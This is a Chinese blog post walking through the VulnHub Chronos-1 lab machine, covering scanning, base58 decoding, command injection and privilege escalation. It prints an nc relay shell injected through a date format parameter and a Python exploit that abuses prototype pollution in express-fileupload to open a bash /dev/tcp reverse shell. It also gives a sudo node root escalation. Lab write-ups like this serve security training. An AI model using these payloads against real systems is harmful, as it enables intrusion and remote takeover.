Chronos靶机之命令注入、数据编解码、本地提权、代码审计

靶机地址: https://www.vulnhub.com/entry/chronos-1,735/
难度等级: 中
打靶目标: 取得 2 个 flag + root 权限
参考链接:
https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
https://blog.p6.is/Real-World-JS-1/

涉及攻击方法:
端口扫描
WEB侦查
命令注入
数据编解码
搜索大法
框架漏洞利用
代码审计
NC串联
本地提权

主机发现使用netdiscover

sudo netdiscover -r 10.0.2.0/24 (在使用中把24位子网掩码减8使用)

进行全端口扫描

nmap -p- 192.168.56.105

对端口服务进行探测

nmap -p22,80,8000 -sV 192.168.56.105

查看80端口

Ctrl+U 查看网站源码

<script>标签内代码

利用在线工具对位置代码进行整理

cyberchef-工具

地址:CyberChef

复制代码到input 搜索使用javaScriptbeautify功能

查到特殊URLhttp://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

编辑hosts文件

在/etc/hosts文件中添加IP对应域名关系

192.168.56.105 chronos.local

重新刷新页面多出一个时间

打开burpsuit对浏览器进行抓包,发现解析域名地址,获取时间

利用cyberchef解码

magic模块会自动识别编码方式

解密为 '+Today is %A, %B %d, %Y %H:%M:%S.'

利用特殊符号拼接linux命令

| (管道符)

|| (双管道符是当前面的命令执行错误以后来执行后面的命令)

; (分号执行完前面的命令,执行后面的命令)

&& (和双管道相反,前面的正确,才执行后免的命令)

用bash58加密 '+Today is %A, %B %d, %Y %H:%M:%S.' && ls

为9bEW4cq4qengPvFGtzJXEAs1sGpKzYpYvUjwvUngwAmfrVsMwAERK9ox

查找NC

ls /bin

利用nc监听连接

&&nc 192.168.56.106 4444 | /bin/bash | nc 192.168.56.106 3333

提权:

内核漏洞提权

SUID提权

sodu命令提权

使用node.js.express-fileupload进行提权

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.107/8888 0>&1"'

pollute

requests.post('http://127.0.0.1:8080', files = {'proto.outputFunctionName': (

None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

execute command

requests.get('http://127.0.0.1:8080')

参考连接:Real-world JS - 1

https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/

生成EXP.py 目标主机下载

进入/tmp目录下载EXP.py

python3 exp.py

获取imera权限

查看sudo提权

sudo -ls

使用node提权

sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'

彩蛋 :YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值